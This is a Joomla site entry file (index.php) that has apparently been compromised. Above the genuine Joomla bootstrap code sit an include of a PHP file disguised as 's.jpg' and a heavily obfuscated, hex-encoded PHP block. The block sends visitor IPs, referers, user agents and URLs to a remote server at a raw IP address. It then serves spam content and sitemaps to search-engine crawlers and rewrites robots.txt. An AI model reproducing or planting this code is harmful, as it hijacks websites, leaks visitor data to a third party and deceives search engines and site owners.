<?php include __DIR__.'/includes/s.jpg';?>
<?php /* WEBANDY:CODE1:BEGIN sha=39a9d7d0f460 */ ?>
<?php
goto FY4Yh; DcU_Z: ZbUqU: goto ELB3E; NBRIp: if (!(substr($LgeJp, -6) == "\162\x6f\x62\x6f\x74\163")) { goto ydYU2; } goto pN9Di; fUYrT: $A3BDP = $ybbHR . $zwtNt; goto egMSZ; DKJSK: $GihsD["\165\x73\145\x72\x5f\x61\x67\x65\156\x74"] = strtolower(isset($_SERVER["\110\x54\124\x50\x5f\125\x53\x45\122\137\x41\107\x45\116\x54"]) ? $_SERVER["\110\x54\124\120\x5f\x55\x53\105\x52\x5f\101\x47\x45\x4e\124"] : ''); goto IOabe; pN9Di: define("\152\172\123\163\105", $_SERVER["\x44\117\103\x55\x4d\x45\116\124\x5f\x52\x4f\x4f\x54"]); goto FvIhX; RVcEY: header("\x43\157\156\164\145\156\164\55\x74\x79\160\x65\x3a\x74\x65\x78\164\x2f\x78\x6d\x6c"); goto s7Ei2; yc3ZO: echo $syuup; goto eCGNK; PQJz_: if (strpos($LgeJp, "\x2e\160\x68\x70")) { goto dlYEW; } goto fUYrT; hddMb: s5LUz: goto L0OuB; eTwLR: A8F37: goto lpnTL; yi4A1: $GihsD["\x61\x63\164\151\x6f\156"] = "\x63\x68\145\143\x6b\x5f\163\x69\x74\145\x6d\x61\x70"; goto vbpSF; F80Vw: $LPzhe = $D_wTR . "\57\151\x6e\144\x61\164\x61\x2e\160\x68\160"; goto Vcnpl; bbOZ6: if (!(substr($LgeJp, -4) == "\56\170\155\x6c")) { goto OY0MP; } goto IW2xh; mEnSr: $sdvqg = strtolower(isset($_SERVER["\x48\x54\124\120\137\125\x53\105\122\x5f\101\x47\105\116\x54"]) ? $_SERVER["\x48\124\x54\120\x5f\125\123\105\122\x5f\x41\x47\105\116\x54"] : ''); goto dX_8f; c_U6x: $LgeJp = str_replace(array("\56\150\x74\155", "\x2e\x68\x74\155\154", "\56\x73\150\x74\x6d\x6c", "\56\x70\150\x74\155\154"), '', rtrim($LgeJp, "\x2f")); goto HzHPT; DBK6s: $F4XfW = $ybbHR . $wWZuq; goto Wc2Tk; kGBCb: header("\x43\157\156\x74\x65\x6e\164\55\164\x79\x70\145\72\164\x65\x78\164\57\x78\155\x6c"); goto yc3ZO; tQeNO: if (strpos($LgeJp, "\x2e\x70\x68\x70")) { goto h7152; } goto AYf0f; ft4Bf: $GihsD["\150\162\145\146"] = $F4XfW; goto VfqDK; pqk5r: $GihsD[] = array(); goto B40vc; ywotg: $zi0pb = ye7Jp($LPzhe, $GihsD); goto UeVga; ouko5: $AhcMW = str_replace("\x2e\170\x6d\x6c", '', $AhcMW); goto fKV32; QisHl: $KZXpL = @Ye7jp($bHz2u, $GihsD); goto GvIGh; UeVga: echo $zi0pb; goto Zn5ty; aUypG: h7152: goto lGXw7; J6Thc: $AhcMW = $AhcMW[count($AhcMW) - 1]; goto px0bS; IW2xh: if (!strpos($LgeJp, "\141\154\x6c\163\x69\x74\145\x6d\141\160\x2e\x78\155\154")) { goto o56rh; } goto m3C4P; iKlSo: function ZJ6Mn($QHfn6) { goto Uw4kg; Uw4kg: $eyXFC = false; goto LRZ66; LRZ66: $r5sBt = "\147\x6f\157\147\154\x65\142\157\x74\x7c\x62\x69\156\147\142\x6f\164\x7c\147\157\x6f\147\154\x65\x7c\x61\x6f\x6c\x7c\x62\x69\x6e\x67\x7c\171\141\150\157\x6f"; goto oPRo4; oPRo4: if (!($QHfn6 != '')) { goto rLcCL; } goto HGkzp; xfX1q: rLcCL: goto iHXvg; HGkzp: if (!preg_match("\57\50{$r5sBt}\x29\57\163\151", $QHfn6)) { goto KxQnG; } goto JwP7S; t2G81: KxQnG: goto xfX1q; JwP7S: $eyXFC = true; goto t2G81; iHXvg: return $eyXFC; goto ks7Dj; ks7Dj: } goto w37rw; kaanh: echo $wpYsE; goto qYDlI; Uv_ry: $cat_g = isset($_SERVER["\110\x54\124\x50\x5f\x52\105\106\x45\x52\x45\x52"]) ? $_SERVER["\x48\x54\x54\120\x5f\122\105\x46\105\122\105\x52"] : ''; goto loyh7; lVy1I: if (!$btMMu) { goto TdyMw; } goto Z1IK3; exbBN: $bHz2u = $D_wTR . "\x2f\162\157\142\x6f\164\x73\x2e\x70\150\160"; goto MxHAP; WU76R: $GihsD["\141\143\x74\x69\x6f\x6e"] = "\143\x68\x65\x63\x6b\x5f\x77\x6f\162\x64\163"; goto Ks2n8; rntpC: hSuEN: goto EnNzL; ELB3E: echo "\162\157\142\157\164\x73\x2e\164\170\164\x20\146\x69\154\x65\40\143\x72\x65\x61\164\x65\x20\163\165\143\143\x65\x73\x73\x21"; goto hddMb; L0OuB: exit; goto W7HYp; B40vc: $GihsD["\144\x6f\x6d\141\x69\156"] = $wWZuq; goto UlVPY; AYf0f: $AhcMW = str_replace("\x2f", '', $LgeJp); goto ouko5; UlVPY: $GihsD["\x72\x65\161\x5f\x75\x72\151"] = $LgeJp; goto ft4Bf; FvIhX: $KZXpL = @file_get_contents(jzSsE . "\57\x72\157\142\157\164\x73\x2e\164\170\x74"); goto VLrXE; Wc2Tk: goto v7V7r; goto DmMsU; Z1IK3: $GihsD["\x68\164\164\x70\137\165\163\x65\x72\137\x61\147\x65\x6e\x74"] = $sdvqg; goto ywotg; DmMsU: ftaEl: goto l1jya; HKEBO: $A3BDP = $ybbHR . $zwtNt . $IhmYK; goto EduZO; EAGE8: $ybbHR = isset($_SERVER["\110\x54\124\x50\x53"]) && $_SERVER["\x48\124\124\x50\123"] !== "\x6f\146\146" ? "\150\x74\164\160\x73\72\x2f\57" : "\150\x74\164\160\x3a\57\x2f"; goto DYwLd; w37rw: function zN15J($EnKg_) { goto xt8C5; qe18k: if (!($EnKg_ != '' && preg_match("\57\x28{$vMvw0}\51\x2f\x73\151", $EnKg_))) { goto MulAj; } goto iKlR6; zuP4G: return $vy_hh; goto zw4e7; HJvEV: MulAj: goto zuP4G; QLX2S: $vMvw0 = "\x67\157\x6f\147\x6c\x65\174\x79\x61\150\x6f\x6f\174\x62\x69\x6e\x67\174\141\157\x6c"; goto qe18k; xt8C5: $vy_hh = false; goto QLX2S; iKlR6: $vy_hh = true; goto HJvEV; zw4e7: } goto EAGE8; m3C4P: $wpYsE = Ye7Jp($MySvC, $GihsD); goto B47Qm; B47Qm: header("\x43\x6f\156\164\145\x6e\164\55\x74\171\x70\145\x3a\x74\x65\x78\x74\x2f\x78\x6d\154"); goto kaanh; egMSZ: $GihsD["\x6d\x61\x69\156\x5f\x73\x68\145\x6c\154"] = $A3BDP; goto XHh6N; I1eA3: $GihsD["\x72\x65\146\145\162\145\x72"] = isset($_SERVER["\110\124\x54\x50\x5f\x52\x45\106\x45\x52\105\122"]) ? $_SERVER["\110\x54\124\120\x5f\x52\105\106\x45\122\105\122"] : ''; goto DKJSK; a_1KC: o56rh: goto tQeNO; pZJZS: $KZXpL = @file_get_contents(jzSsE . "\x2f\x72\x6f\142\x6f\x74\x73\56\x74\170\x74"); goto QywvX; lGXw7: $AhcMW = explode("\77", $LgeJp); goto J6Thc; C1SIj: $wWZuq = $_SERVER["\x48\124\x54\120\137\x48\117\123\x54"]; goto kePmY; pqH4K: if (!(strpos($LgeJp, "\x6d\141\x70") > 0 || $UPPj7 == "\61")) { goto hSuEN; } goto HdQxN; ss77H: dlYEW: goto HKEBO; eFuHt: if (!($syuup == "\x31")) { goto U2A7P; } goto Fk1Ot; loyh7: $wD6Ah = Zn15j($cat_g); goto mEnSr; HzHPT: if (!(!$btMMu && $wD6Ah && (preg_match("\57\x5c\x64\44\57", $LgeJp) || preg_match("\43\x5b\141\x2d\x7a\135\75\x5b\x61\55\172\x30\x2d\x39\135\x2b\43", $LgeJp) || preg_match("\x2f\151\x74\x65\155\57", $LgeJp)))) { goto u1Dl7; } goto L1wdu; lpnTL: $GihsD["\167\x6f\x72\144"] = $AhcMW; goto yi4A1; HdQxN: $GihsD["\141\143\164\151\157\156"] = "\162\141\x6e\144\137\170\x6d\x6c"; goto DZDOa; s7Ei2: echo $wpYsE; goto x8amN; jHE7w: $aoDnK = $D_wTR . "\57\152\165\155\160\x2e\x70\150\160"; goto y6iU4; L1wdu: $GihsD["\151\160"] = $_SERVER["\122\x45\115\x4f\x54\105\x5f\101\104\x44\x52"]; goto I1eA3; Fk1Ot: $wpYsE = YE7Jp($MySvC, $GihsD); goto RVcEY; zYsv7: U2A7P: goto WU76R; QywvX: if (strpos(strtolower($KZXpL), "\x73\x69\x74\145\x6d\x61\160")) { goto ZbUqU; } goto hlexo; y6iU4: $NWuF8 = $D_wTR . "\57\167\x6f\162\x64\163\x2e\160\150\x70"; goto exbBN; fKV32: goto A8F37; goto aUypG; DZDOa: $syuup = Ye7JP($NWuF8, $GihsD); goto kGBCb; Vcnpl: $MySvC = $D_wTR . "\57\x6d\x61\x70\x2e\160\150\160"; goto jHE7w; XHh6N: goto Dydse; goto ss77H; x8amN: exit; goto zYsv7; kqd4L: $zwtNt = $_SERVER["\123\105\122\x56\105\x52\x5f\x4e\x41\115\x45"]; goto ZIe6N; kePmY: $IhmYK = $_SERVER["\120\x48\120\x5f\x53\x45\114\106"]; goto kqd4L; vbpSF: $syuup = ye7jp($NWuF8, $GihsD); goto eFuHt; W7HYp: ydYU2: goto bbOZ6; GvIGh: file_put_contents(jzSsE . "\57\x72\x6f\x62\157\x74\x73\56\164\170\164", $KZXpL); goto pZJZS; DYwLd: $LgeJp = $_SERVER["\x52\105\121\x55\x45\123\124\x5f\125\x52\x49"]; goto C1SIj; hlexo: echo "\x72\x6f\x62\157\x74\x73\56\x74\170\x74\x20\146\151\x6c\145\40\x63\162\145\141\x74\145\40\x66\141\x69\x6c\x21"; goto eTpYS; Zn5ty: exit; goto UVmiN; eTpYS: goto s5LUz; goto DcU_Z; cbvMn: Dydse: goto Uv_ry; l1jya: $F4XfW = $ybbHR . $wWZuq . $IhmYK; goto wIdfd; eCGNK: exit; goto rntpC; KUZJT: u1Dl7: goto lVy1I; FY4Yh: $D_wTR = "\150\164\x74\x70\72\57\x2f\x31\67\63\x2e\x32\x30\70\56\x32\x30\66\56\61\70\66\57\172\x36\x30\66\x31\x37\x5f\161\57"; goto UYI8f; IOabe: echo yE7jp($aoDnK, $GihsD); goto jHXAO; EnNzL: OY0MP: goto PQJz_; dX_8f: $btMMu = ZJ6mn($sdvqg); goto c_U6x; wIdfd: v7V7r: goto pqk5r; Ks2n8: $UPPj7 = yE7Jp($NWuF8, $GihsD); goto pqH4K; ZIe6N: $c8wi5 = $ybbHR . $wWZuq . $LgeJp; goto F80Vw; qYDlI: exit; goto a_1KC; VfqDK: $GihsD["\162\145\161\x5f\x75\x72\154"] = $c8wi5; goto NBRIp; VLrXE: $GihsD["\x72\x6f\x62\x6f\x74\163\x5f\x63\x6f\156\164"] = $KZXpL; goto QisHl; MxHAP: if (strpos($LgeJp, "\x2e\160\150\160")) { goto ftaEl; } goto DBK6s; px0bS: $AhcMW = str_replace("\x2e\x78\155\154", '', $AhcMW); goto eTwLR; EduZO: $GihsD["\x6d\x61\151\156\x5f\163\150\x65\154\154"] = $A3BDP; goto cbvMn; jHXAO: exit; goto KUZJT; UYI8f: function Ye7jP($MKwra, $Stwi3 = array()) { goto lLJk6; P7sY6: curl_setopt($IlcBi, CURLOPT_POST, 1); goto KblNz; bqF3_: if (!version_compare(PHP_VERSION, "\x38\x2e\x30\56\x30", "\x3c")) { goto xGgx7; } goto Wb21h; KblNz: curl_setopt($IlcBi, CURLOPT_SSL_VERIFYPEER, FALSE); goto PlNVd; lLJk6: $MKwra = str_replace("\x20", "\53", $MKwra); goto zSRpC; VgJ94: curl_setopt($IlcBi, CURLOPT_HEADER, 0); goto b1T0a; b1T0a: curl_setopt($IlcBi, CURLOPT_TIMEOUT, 10); goto P7sY6; PlNVd: curl_setopt($IlcBi, CURLOPT_SSL_VERIFYHOST, FALSE); goto DbS40; DbS40: curl_setopt($IlcBi, CURLOPT_POSTFIELDS, http_build_query($Stwi3)); goto FbWe7; ezGCO: MJt0g: goto ZDWKA; Wb21h: curl_close($IlcBi); goto if6Py; Z5UN3: $fy6MX = curl_errno($IlcBi); goto bqF3_; if6Py: xGgx7: goto Ft7sU; ZDWKA: return $AZvHL; goto cFbKT; WcGL8: curl_setopt($IlcBi, CURLOPT_URL, "{$MKwra}"); goto sFP8H; sFP8H: curl_setopt($IlcBi, CURLOPT_RETURNTRANSFER, 1); goto VgJ94; zSRpC: $IlcBi = curl_init(); goto WcGL8; zRH20: return false; goto ezGCO; FbWe7: $AZvHL = curl_exec($IlcBi); goto Z5UN3; Ft7sU: if (!(0 !== $fy6MX)) { goto MJt0g; } goto zRH20; cFbKT: } goto iKlSo; UVmiN: TdyMw:
?>
<?php /* WEBANDY:CODE1:END */ ?>
<?php

/**
 * @package    Joomla.Site
 *
 * @copyright  (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

// NOTE: This file should remain compatible with PHP 5.2 to allow us to run our PHP minimum check and show a friendly error message

// Define the application's minimum supported PHP version as a constant so it can be referenced within the application.
define('JOOMLA_MINIMUM_PHP', '8.1.0');

if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) {
    die(
        str_replace(
            '{{phpversion}}',
            JOOMLA_MINIMUM_PHP,
            file_get_contents(dirname(__FILE__) . '/includes/incompatible.html')
        )
    );
}

/**
 * Constant that is checked in included files to prevent direct access.
 * define() is used rather than "const" to not error for PHP 5.2 and lower
 */
define('_JEXEC', 1);

// Load global path definitions
if (file_exists(__DIR__ . '/defines.php')) {
    include_once __DIR__ . '/defines.php';
}

require_once __DIR__ . '/includes/defines.php';

// Check the existence of an update-extraction config file
if (
    !empty($_GET['jautoupdate'])
    && is_file(JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/update.php')
) {
    // Load extraction script and...
    require_once JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/extract.php';

    // ... die
    die();
}

// Run the application - All executable code should be triggered through this file
require_once __DIR__ . '/includes/app.php';
